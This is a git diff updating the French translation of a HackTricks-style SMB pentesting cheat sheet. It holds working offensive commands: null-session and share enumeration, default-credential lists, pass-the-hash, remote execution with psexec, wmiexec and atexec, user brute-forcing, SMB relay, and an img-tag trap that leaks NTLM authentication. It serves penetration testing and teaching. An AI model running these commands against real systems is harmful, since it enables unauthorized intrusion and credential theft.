mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-smb/README.md',
This commit is contained in:
parent
526b97420f
commit
ebab4d4509
@ -494,6 +494,7 @@
|
||||
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
|
||||
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||
|
@ -4,59 +4,60 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Le _**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, PC et bureaux au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission de données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS sont réalisées par leurs noms NetBIOS, qui peuvent avoir jusqu'à 16 caractères de long et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**.
|
||||
Le _**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PC et aux postes de travail d'un réseau local (LAN) d'interagir avec le matériel réseau et de **faciliter la transmission des données sur le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS sont réalisées via leurs NetBIOS names, qui peuvent comporter jusqu'à 16 caractères et sont souvent différents du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (jouant le rôle du client) envoie une commande pour "call" une autre application (jouant le rôle du serveur) en utilisant **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Techniquement, le port 139 est désigné comme ‘NBT over IP’, tandis que le port 445 est identifié comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est également connu de manière moderne sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de couche application, SMB/CIFS est principalement utilisé pour permettre un accès partagé aux fichiers, imprimantes, ports série, et faciliter diverses formes de communication entre les nœuds sur un réseau.
|
||||
Techniquement, le port 139 est désigné comme ‘NBT over IP’, tandis que le port 445 est identifié comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est aussi aujourd'hui connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de la couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, aux imprimantes, aux ports série, et faciliter diverses formes de communication entre nœuds d'un réseau.
|
||||
|
||||
Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS sur TCP/IP, grâce à l'utilisation du port 445. En revanche, sur différents systèmes, l'utilisation du port 139 est observée, indiquant que SMB est exécuté en conjonction avec NetBIOS sur TCP/IP.
|
||||
Par exemple, dans le contexte de Windows, on souligne que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS over TCP/IP, grâce à l'utilisation du port 445. À l'inverse, sur d'autres systèmes, l'emploi du port 139 est observé, ce qui indique que SMB est exécuté en conjonction avec NetBIOS over TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Le **Server Message Block (SMB)**, fonctionnant selon un modèle **client-serveur**, est conçu pour réguler l'**accès aux fichiers**, répertoires et autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la série des systèmes d'exploitation **Windows**, SMB garantit la compatibilité ascendante, permettant aux appareils avec des versions plus récentes du système d'exploitation de Microsoft d'interagir sans problème avec ceux fonctionnant avec des versions plus anciennes. De plus, le projet **Samba** offre une solution logicielle gratuite, permettant l'implémentation de SMB sur des systèmes **Linux** et Unix, facilitant ainsi la communication inter-plateformes via SMB.
|
||||
Le protocole **Server Message Block (SMB)**, fonctionnant selon un modèle **client-server**, est conçu pour réguler l'**accès aux fichiers**, aux répertoires et à d'autres ressources réseau telles que les imprimantes et les routeurs. Principalement utilisé au sein de la famille de systèmes d'exploitation **Windows**, SMB garantit la compatibilité descendante, permettant aux appareils exécutant des versions plus récentes du système d'exploitation de Microsoft d'interagir sans heurt avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logiciel libre permettant l'implémentation de SMB sur les systèmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB.
|
||||
|
||||
Les partages, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Access Control Lists (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle granulaire** sur les permissions des utilisateurs, y compris des attributs comme **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent être attribuées à des utilisateurs ou groupes individuels, en fonction des partages, et sont distinctes des permissions locales définies sur le serveur.
|
||||
Shares, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible au client en partie **indépendante** de la structure réelle du serveur. Les **Listes de contrôle d'accès (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle fin** des permissions des utilisateurs, incluant des attributs comme **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent être assignées à des utilisateurs ou groupes individuels, en fonction des shares, et sont distinctes des permissions locales définies sur le serveur.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec des services exposés via des pipes nommés. L'utilitaire `enum4linux` est utile à cet effet. Utilisé correctement, il permet d'acquérir :
|
||||
L'accès au share IPC$ peut être obtenu via une null session anonyme, permettant d'interagir avec des services exposés via des named pipes. L'utilitaire `enum4linux` est utile à cet effet. Bien utilisé, il permet d'obtenir :
|
||||
|
||||
- Informations sur le système d'exploitation
|
||||
- Détails sur le domaine parent
|
||||
- Des informations sur le système d'exploitation
|
||||
- Des détails sur le domaine parent
|
||||
- Une compilation des utilisateurs et groupes locaux
|
||||
- Informations sur les partages SMB disponibles
|
||||
- La politique de sécurité système effective
|
||||
- Des informations sur les shares SMB disponibles
|
||||
- La politique de sécurité du système effective
|
||||
|
||||
Cette fonctionnalité est critique pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue d'ensemble complète de l'environnement SMB du système cible, ce qui est essentiel pour identifier les vulnérabilités potentielles et garantir que les services SMB sont correctement sécurisés.
|
||||
Cette fonctionnalité est essentielle pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue complète de l'environnement SMB de la cible, ce qui est indispensable pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
La commande ci-dessus est un exemple de la façon dont `enum4linux` peut être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`.
|
||||
La commande ci‑dessus est un exemple de la façon dont `enum4linux` peut être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`.
|
||||
|
||||
## Qu'est-ce que NTLM
|
||||
|
||||
Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment cela fonctionne et comment en abuser, vous trouverez très intéressant cette page sur **NTLM** où il est expliqué **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
|
||||
Si vous ne connaissez pas NTLM ou si vous voulez savoir comment il fonctionne et comment l'exploiter, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Énumération du serveur**
|
||||
## **Server Enumeration**
|
||||
|
||||
### **Scanner** un réseau à la recherche d'hôtes :
|
||||
### **Scan** d'un réseau à la recherche d'hôtes :
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### Version du serveur SMB
|
||||
|
||||
Pour rechercher d'éventuels exploits pour la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans d'autres outils utilisés, vous pouvez :
|
||||
Pour rechercher d'éventuels exploits pour la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans les autres outils utilisés, vous pouvez :
|
||||
|
||||
- Utiliser le module auxiliaire **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Utilisez le module auxiliaire **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Ou ce script :
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -79,21 +80,21 @@ echo "" && sleep .1
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Identifiants** Possibles
|
||||
### **Possibles** Identifiants
|
||||
|
||||
| **Nom d'utilisateur(s)** | **Mots de passe courants** |
|
||||
| ------------------------- | ------------------------------------------ |
|
||||
| _(vide)_ | _(vide)_ |
|
||||
| invité | _(vide)_ |
|
||||
| Administrateur, admin | _(vide)_, mot de passe, administrateur, admin |
|
||||
| arcserve | arcserve, sauvegarde |
|
||||
| **Identifiant(s)** | **Mots de passe courants** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
| Administrator, admin | _(blank)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, sauvegarde | backupexec, sauvegarde, arcada |
|
||||
| test, lab, démo | mot de passe, test, lab, démo |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### Force Brute
|
||||
### Brute Force
|
||||
|
||||
- [**Force Brute SMB**](../../generic-hacking/brute-force.md#smb)
|
||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||
|
||||
### Informations sur l'environnement SMB
|
||||
|
||||
@ -119,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Énumérer les utilisateurs, groupes et utilisateurs connectés
|
||||
### Énumérer les utilisateurs, les groupes et les utilisateurs connectés
|
||||
|
||||
Ces informations devraient déjà être collectées à partir de enum4linux et enum4linux-ng.
|
||||
Ces informations devraient déjà avoir été collectées par enum4linux et enum4linux-ng
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -139,7 +140,7 @@ enumdomgroups
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Ligne unique
|
||||
Oneliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
@ -149,7 +150,7 @@ use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Énumération de LSARPC et SAMR rpcclient**
|
||||
### **Énumération LSARPC et SAMR rpcclient**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -162,7 +163,7 @@ rpcclient-enumeration.md
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### Dans la fenêtre de l'explorateur de fichiers (nautilus, thunar, etc)
|
||||
#### Dans une fenêtre de gestionnaire de fichiers (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
@ -170,7 +171,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### Lister les dossiers partagés
|
||||
|
||||
Il est toujours recommandé de vérifier si vous pouvez accéder à quoi que ce soit, si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/guest user**.
|
||||
Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas de credentials, essayez d'utiliser **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -184,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Se connecter/lister un dossier partagé**
|
||||
### **Se connecter/Lister un dossier partagé**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -198,9 +199,9 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Énumérer manuellement les partages Windows et s'y connecter**
|
||||
|
||||
Il se peut que vous soyez restreint dans l'affichage des partages de la machine hôte et lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage auquel se connecter. Il peut donc être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous voudrez peut-être rechercher des réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME, lors de l'utilisation d'une session valide (par exemple, une session nulle ou des identifiants valides). Cela peut indiquer si le partage existe et que vous n'y avez pas accès ou si le partage n'existe pas du tout.
|
||||
Il se peut que vous ne puissiez pas afficher les partages de la machine hôte et que, lorsque vous tentez de les lister, il semble qu'il n'y en ait aucun. Il peut donc être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, regardez les réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (e.g. null session or valid credentials). Elles peuvent indiquer si le partage existe mais que vous n'y avez pas accès, ou s'il n'existe pas du tout.
|
||||
|
||||
Les noms de partage courants pour les cibles Windows sont
|
||||
Les noms de partages courants pour des cibles Windows sont
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -211,14 +212,14 @@ Les noms de partage courants pour les cibles Windows sont
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Noms de partage courants de _**Network Security Assessment 3rd edition**_)
|
||||
(Noms de partages courants issus de _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Vous pouvez essayer de vous y connecter en utilisant la commande suivante
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
ou ce script (utilisant une session nulle)
|
||||
ou ce script (utilisant une null session)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -252,7 +253,7 @@ get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
Console CMD
|
||||
console CMD
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
@ -266,7 +267,7 @@ fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (graphique), entrez `\\<ip>\` pour voir les partages disponibles non cachés.
|
||||
explorer.exe (graphique), saisissez `\\<ip>\` pour voir les partages non cachés disponibles.
|
||||
|
||||
### Monter un dossier partagé
|
||||
```bash
|
||||
@ -275,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Télécharger des fichiers**
|
||||
|
||||
Lisez les sections précédentes pour apprendre comment se connecter avec des identifiants/Pass-the-Hash.
|
||||
Lisez les sections précédentes pour apprendre comment se connecter à l'aide de credentials/Pass-the-Hash.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -292,34 +293,34 @@ smbclient //<IP>/<share>
|
||||
```
|
||||
Commandes:
|
||||
|
||||
- mask : spécifie le masque utilisé pour filtrer les fichiers dans le répertoire (par exemple, "" pour tous les fichiers)
|
||||
- recurse : active la récursivité (par défaut : désactivé)
|
||||
- prompt : désactive l'invite pour les noms de fichiers (par défaut : activé)
|
||||
- mget : copie tous les fichiers correspondant au masque de l'hôte vers la machine cliente
|
||||
- mask: spécifie le mask qui est utilisé pour filtrer les fichiers dans le répertoire (e.g. "" pour tous les fichiers)
|
||||
- recurse: bascule la récursion (default: off)
|
||||
- prompt: bascule l'invite pour les noms de fichiers (default: on)
|
||||
- mget: copie tous les fichiers correspondant au mask depuis la machine hôte vers la machine cliente
|
||||
|
||||
(_Informations provenant de la page de manuel de smbclient_)
|
||||
(_Informations extraites de la page de manuel de smbclient_)
|
||||
|
||||
### Recherche de dossiers partagés de domaine
|
||||
### Recherche des dossiers partagés du domaine
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araignée.
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Les fichiers appelés **`Registry.xml`** sont particulièrement intéressants car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **autologon** via la stratégie de groupe. Ou les fichiers **`web.config`** car ils contiennent des identifiants.
|
||||
Parmi les éléments particulièrement intéressants dans les partages se trouvent les fichiers appelés **`Registry.xml`** car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **autologon** via Group Policy. Ou les fichiers **`web.config`** car ils contiennent des identifiants.
|
||||
|
||||
> [!TIP]
|
||||
> Le **partage SYSVOL** est **lisible** par tous les utilisateurs authentifiés dans le domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell différents.\
|
||||
> Vous devriez **vérifier** les **scripts** à l'intérieur car vous pourriez **trouver** des informations sensibles telles que des **mots de passe**.
|
||||
> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiés du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell différents.\
|
||||
> Vous devriez **vérifier** les **scripts** qu'il contient car vous pourriez y **trouver** des informations sensibles telles que des **mots de passe**.
|
||||
|
||||
## Lire le Registre
|
||||
## Lire le registre
|
||||
|
||||
Vous pourriez être en mesure de **lire le registre** en utilisant certains identifiants découverts. Impacket **`reg.py`** vous permet d'essayer :
|
||||
Vous pourriez être capable de **lire le registre** en utilisant des identifiants découverts. Impacket **`reg.py`** vous permet d'essayer :
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -327,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
La **configuration par défaut de** un **serveur Samba** se trouve généralement dans `/etc/samba/smb.conf` et peut avoir des **configurations dangereuses** :
|
||||
La configuration par défaut d'un serveur Samba se trouve généralement dans `/etc/samba/smb.conf` et peut contenir des configurations dangereuses :
|
||||
|
||||
| **Paramètre** | **Description** |
|
||||
| **Setting** | **Description** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Autoriser l'affichage des partages disponibles dans le partage actuel ? |
|
||||
| `browseable = yes` | Autoriser l'affichage des partages disponibles ? |
|
||||
| `read only = no` | Interdire la création et la modification de fichiers ? |
|
||||
| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? |
|
||||
| `guest ok = yes` | Autoriser la connexion au service sans utiliser de mot de passe ? |
|
||||
| `enable privileges = yes` | Honorer les privilèges attribués à un SID spécifique ? |
|
||||
| `create mask = 0777` | Quels droits doivent être attribués aux fichiers nouvellement créés ? |
|
||||
| `directory mask = 0777` | Quels droits doivent être attribués aux répertoires nouvellement créés ? |
|
||||
| `guest ok = yes` | Autoriser la connexion au service sans mot de passe ? |
|
||||
| `enable privileges = yes` | Respecter les privilèges attribués à un SID spécifique ? |
|
||||
| `create mask = 0777` | Quelles permissions doivent être assignées aux fichiers créés ? |
|
||||
| `directory mask = 0777` | Quelles permissions doivent être assignées aux répertoires créés ? |
|
||||
| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? |
|
||||
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script se ferme ? |
|
||||
| `magic output = script.out` | Où la sortie du script magique doit-elle être stockée ? |
|
||||
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script est fermé ? |
|
||||
| `magic output = script.out` | Où la sortie du magic script doit être stockée ? |
|
||||
|
||||
La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connecté**.
|
||||
La commande `smbstatus` fournit des informations sur le **serveur** et sur **qui est connecté**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
## Authentification avec Kerberos
|
||||
|
||||
Vous pouvez **vous authentifier** à **kerberos** en utilisant les outils **smbclient** et **rpcclient** :
|
||||
Vous pouvez vous authentifier auprès de Kerberos en utilisant les outils smbclient et rpcclient :
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec peut exécuter des commandes **en abusant** de n'importe quel **mmcexec, smbexec, atexec, wmiexec**, wmiexec étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
|
||||
crackmapexec peut exécuter des commandes **en abusant** de n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -379,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **télécharger** un fichier exécutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**technique sans fichier-**-).\
|
||||
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **upload** un fichier exécutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\
|
||||
**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -389,19 +390,19 @@ Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Utiliser **le paramètre** `-k` vous permet de vous authentifier contre **kerberos** au lieu de **NTLM**.
|
||||
En utilisant le **paramètre**`-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Exécutez discrètement un shell de commande sans toucher au disque ni exécuter un nouveau service en utilisant DCOM via **le port 135.**\
|
||||
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
Exécuter furtivement un shell de commande sans toucher au disque ni lancer un nouveau service en utilisant DCOM via **port 135.**\
|
||||
Sur **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
En utilisant **le paramètre** `-k`, vous pouvez vous authentifier contre **kerberos** au lieu de **NTLM**.
|
||||
En utilisant le **paramètre**`-k` vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -410,8 +411,8 @@ En utilisant **le paramètre** `-k`, vous pouvez vous authentifier contre **kerb
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Exécutez des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\
|
||||
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
Exécuter des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\
|
||||
Sur **kali** il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
@ -420,21 +421,27 @@ Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Bruteforce des identifiants utilisateurs**
|
||||
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
|
||||
|
||||
**Cela n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximum de tentatives autorisées**
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
{{#endref}}
|
||||
|
||||
## **Bruteforce des identifiants des utilisateurs**
|
||||
|
||||
**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximal d'essais autorisés**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## Attaque de relais SMB
|
||||
## SMB relay attack
|
||||
|
||||
Cette attaque utilise l'outil Responder pour **capturer les sessions d'authentification SMB** sur un réseau interne, et **les relaye** vers une **machine cible**. Si la **session d'authentification est réussie**, elle vous fera automatiquement accéder à un **shell** **système**.\
|
||||
Cette attaque utilise le toolkit Responder pour **capturer des sessions d'authentification SMB** sur un réseau interne, et les **relayer** vers une **machine cible**. Si la **session d'authentification** est réussie, elle vous ouvrira automatiquement un **shell système**.\
|
||||
[**Plus d'informations sur cette attaque ici.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
La bibliothèque Windows URLMon.dll essaie automatiquement de s'authentifier auprès de l'hôte lorsqu'une page tente d'accéder à un contenu via SMB, par exemple : `img src="\\10.10.10.10\path\image.jpg"`
|
||||
La bibliothèque Windows URLMon.dll tente automatiquement de s'authentifier auprès de l'hôte lorsqu'une page essaie d'accéder à du contenu via SMB, par exemple: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Cela se produit avec les fonctions :
|
||||
|
||||
@ -445,19 +452,19 @@ Cela se produit avec les fonctions :
|
||||
|
||||
